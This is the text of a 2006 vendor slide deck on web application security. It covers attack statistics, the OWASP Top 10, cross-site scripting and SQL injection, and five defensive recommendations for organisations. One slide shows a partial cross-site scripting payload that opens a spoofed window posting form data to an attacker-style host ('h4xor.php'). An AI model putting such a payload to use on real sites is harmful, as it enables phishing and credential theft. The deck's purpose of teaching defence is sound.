1. 1 Cover Your Applications: Top 5 Things You Can Do Nov 8, 2006 Ambarish Malpani CTO/VP Eng Cenzic, Inc.

2. 2 Proactive Security Whoever is first in the field and awaits the coming of the enemy, will be fresh for the fight; whoever is second in the field and has to hasten to battle will arrive exhausted. -- Sun-Tzu “The Art of War”

3. 3 Agenda Why is Security Testing Important? What we will not cover Stats on Recent Issues Top 5 things you should do Summary

4. 4 Why is Security Testing Important? - Tom Ridge (Former) Secretary of the U.S. Department of Homeland Security “A few lines of code can wreak more havoc than a bomb.”

5. 5 Web Application Security Overview: Recent Statistics (ITSC Volume IX) Directory Traversal is the 2 nd most common attack on the internet as of the 2 nd half of 2005 Cross-Site Scripting came in 7 th place, of all attacks detected by Symantec. Symantec predicts an increasing trend away from hacking for fame toward hacking for fortune… --Phishing up 9% in second half of 2005 --Financial Services companies were the most frequently attacked in the 2 nd half of 2005 Attack patterns suggest a shift away from OS targets to web applications and web server technologies.

6. 6 Vulnerability Percentages

7. 7 Web Application Security Overview: Recent Statistics (ITSC Volume X) 69% of all reported vulnerabilities were in web applications 78% of the reported web application vulnerabilities were easily exploitable. “Web applications are required to accept and interpret input from many different sources, and there are very few restrictions to distinguish valid from invalid input. This is further complicated because Web browsers, the application through which most Web Applications operate, are very liberal in what they will accept and interpret as valid input” ITSC vol. X (pg. 10) Often not subject to the same strenuous QA and security testing as other production quality code.

8. 8 Why is App Security Important? "75% of cyber attacks and Internet security violations are generated through Internet Applications" - Gartner Group Application Server with Custom Software Web Server DMZ External Firewall Corporate DB with Sensitive Customer Data IntranetThe big bad world Internet Internal Firewall

9. 9 What are we protecting? Customer information –Most of the customer information like name, SS#, address, etc. is behind the web applications Employee information –Protecting employee information is critical and hackers can get to it easily Credit Card information –Hackers can get to your credit card information by coming through applications Patient information –Most of the patient information can be accessed by hacking through the web applications.

10. 10 What we will not cover In this talk, we will not cover network level protection of your network –Firewalls, IDS’s are well understood and reasonably widely deployed –Neither will we cover patch management systems

11. 11 Item 1: Educate Developers Developers need to be trained in security –Security needs to be designed in –Fixing problems causes patchwork, more problems –Developer pushback on security issues is much less Security testing can’t guarantee that it finds all problems Problems found during the security testing process are way more painful to deal with –Any fixes delay a release

12. 12 OWASP Top 10 Strong server configuration standard is critical to a secure web application. Servers are not secure out of the box and need to be configured for security Attackers can consume web application resources to a point where legitimate users can no longer access or use the application Web applications frequently use cryptographic functions to protect information and credentials. If not coded properly, it can result in weak protection Error conditions that occur during normal operation are not handled properly and could result in giving detailed system information to a hacker, or crash the server Web applications pass parameters when they access external systems or the local operation system. Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process The web application can be used as a mechanism to transport an attack to an end user’s browser. Account credentials and session tokens are not properly protected. Restrictions on what authenticated users are allowed to do are not properly enforced. Information from web requests is not validated before being used by a web application. Insecure configuration management Denial of service Insecure storage Improper Error Handling Injection Flaws Buffer Overflows Cross-site Scripting (XSS) Flaws Broken Account and Session Mgmt Broken Access Control Unvalidated Input Source: OWASP, 2004 – www.owasp.org

13. 13 Cross-Site Scripting What is it?: The Web Application is used to store, transport, and deliver malicious active content to an unsuspecting user. Root Cause: Failure to proactively reject or scrub malicious characters from input vectors. Impact: Persistent XSS is stored and executed at a later time, by a user. Allows cookie theft, credential theft, data confidentiality, integrity, and availability risks. Browser Hijacking and Unauthorized Access to Web Application is possible using existing exploits. Solution: A global as well as Form and Field specific policy for handling untrusted content. Use white lists and regular expressions to ensure input data conforms to the required character set, size, and syntax.

14. 14 Unvalidated Input (A1) with XSS (A4)

15. 15 Unvalidated Input (A1) with XSS (A4)

16. 16 Unvalidated Input (A1) with XSS (A4)

17. 17 Unvalidated Input (A1) with XSS (A4) Unvalidated Input and resulted in a Cross-Site Scripting Attack and the theft of the Administrator’s Cookie

18. 18 Cross-Site Scripting: Content Spoofing Insert un-trusted content into the web application that can be used to trick users. Compromise of the integrity of application code via malicious script code injected into the database Limited only by the attackers imagination.

19. 19 Cross-Site Scripting Exploit var oWH = window.open("","","width=275, height=175, top=200, left=250 location=no, menubar=no, status=no, toolbar=no, scrollbars=no, resizable=no");oWH.document.write(“ HTML FORM with POST request to http://compromised-server/h4xor.php );

20. 20 Cross-Site Scripting: Content Spoofing

21. 21 SQL Injection What is it?: Database contents are compromised or disclosed by the use of specially crafted input that manipulates SQL Query Logic. Root Cause: Failure to properly scrub, reject, or escape domain- specific SQL characters from an input vector. Impact: Data confidentiality, integrity, and availability with the ability to read, modify, delete, or even drop database tables. Solution: Define accepted character-sets for input vectors, and enforce these white lists rigorously. Force input to conform to specific patterns when other special characters are needed: dd- mm-yyyy. Also, use SQL Prepared Statements.

22. 22 Types of SQL Injection Attacks Tautologies Blind SQL Injection

23. 23 Example: SQL Tautology Injection Submitting SQL Query logic instead of a valid date can expose confidential records..

24. 24 Example: SQL Tautology Injection Submitting SQL Query logic instead of a valid date can expose confidential records..

25. 25 Item 2: Test Your Applications Test your Application –Hopefully testing is just verifying that your developers did a great job! –More options than in the past: Manual penetration testing Source code analysis Automated penetration testing

26. 26 Manual Penetration Testing Hire experienced companies/professionals to attack your web application Comments –Cost –Time (to get people, cover apps) –Need to redo with new versions, bug fixes –Thoroughness –Variability based on the individual –If you get the right people, can be very effective

27. 27 Source Code Scanning Look at the web application source code Identify cases where user input can reach sensitive functions Comments –Need developer and management commitment –Need process changes –Lots of false positives –Language dependent –Hard to cover cases when source unavailable –Scaling issues –Miss issues across modules

28. 28 Automated Penetration Testing Do automated security testing of apps (ideally before deployment) Comments –Fits in very nicely with functionality testing –Doesn’t require process changes –Doesn’t need to be expensive –Can’t test for everything manual testers can

29. 29 Item 3:Test Your Application Again Continuous testing of applications is extremely important –New vulnerabilities being discovered all the time –New methods of attacks are being proposed (both by the black and white hats) With new security test automation tools this isn’t as prohibitive as before –Automation allows tests to be done automatically –Time for a retest can be much lower –With tools, there isn’t a huge consultant cost for a retest

30. 30 Demo I

31. 31 Demo II

32. 32 Demo III

33. 33 Item 4: Monitor Your Site Monitoring your site is important because: –It let’s you know how effective your developer education/testing was –Alerts you to new attack string and mechanisms –Allows you to know if there has been a breach and respond to it

34. 34 Item 5: Have a Vulnerability Policy Policy When a Break-in Happens or a Vulnerability is Found –Need to have Backup and Restore Processes in place –Need to have Practice runs of the Response Process –Application Firewalls can help while you get a fix for vulnerabilities found in deployed applications Avg time Exploit -> Vulnerability: 6.8 days Avg time Exploit -> Patch: 49 days The hackers have a faster release process! »Source: Symantec’s Internet Security Threat Report IX –Need a Hot fix process

35. 35 Summary We talked about the need for security testing We covered the Top 5 Things-To-Do –Educate Developers –Test your applications –Test them again –Monitor your applications –Have a vulnerability policy

36. 36 Questions/Discussion Ambarish Malpani 408.200.0716 request@cenzic.com